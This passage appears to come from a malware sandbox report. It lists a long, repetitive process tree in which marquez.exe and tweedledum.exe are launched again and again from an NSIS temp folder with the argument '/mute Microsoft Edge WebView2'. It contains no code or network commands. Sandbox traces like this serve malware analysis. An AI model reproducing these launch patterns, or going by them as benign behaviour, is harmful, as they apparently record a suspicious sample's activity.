6⤵
PID:3596

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3128

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1236

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3400

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5624

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4040

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4772

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4420

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2968

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5444

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5452

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:316

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3820

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5828

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5220

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4528

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:840

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2012

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1156

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3572

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2500

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5392

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2668

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1424

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4756

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5608

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5404

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:688

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1924

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5920

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:768

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4484

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5192

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5584

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3544

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3412

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2748

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1192

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2588

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:400

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1696

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5148

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1008

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4232

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4692

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3792

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4176

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5220

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1272

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4696

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:688

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:6064

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3460

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1636

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5684

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:528

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3500

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1808

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3292

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1300

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1272

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4952

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5636

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1864

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5728

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3396

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2588

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1812

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3568

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:836

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4412

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4736

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5616

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5980

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5328

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5064

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4540

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5168

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4788

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:292

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5900

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4452

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2904

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1640

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:6064

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1116

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1864

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:6036

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1324

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:6000

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:632

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2724

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5928

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1176

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2184

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3460

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1376

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4976

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1696

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1268

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4100

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3400

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4672

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3912

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3500

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5064

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:292

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4992

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5728

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4476

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5988

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4260

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5820

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2368

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5408

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1108

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5544

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2032

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:556

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5796

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4232

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3136

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:740

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4048

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5940

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5460

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5776

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1300

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3900

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5568

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3568

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5412

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2508

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3812

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2700

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5936

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5932

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3332

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5164

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
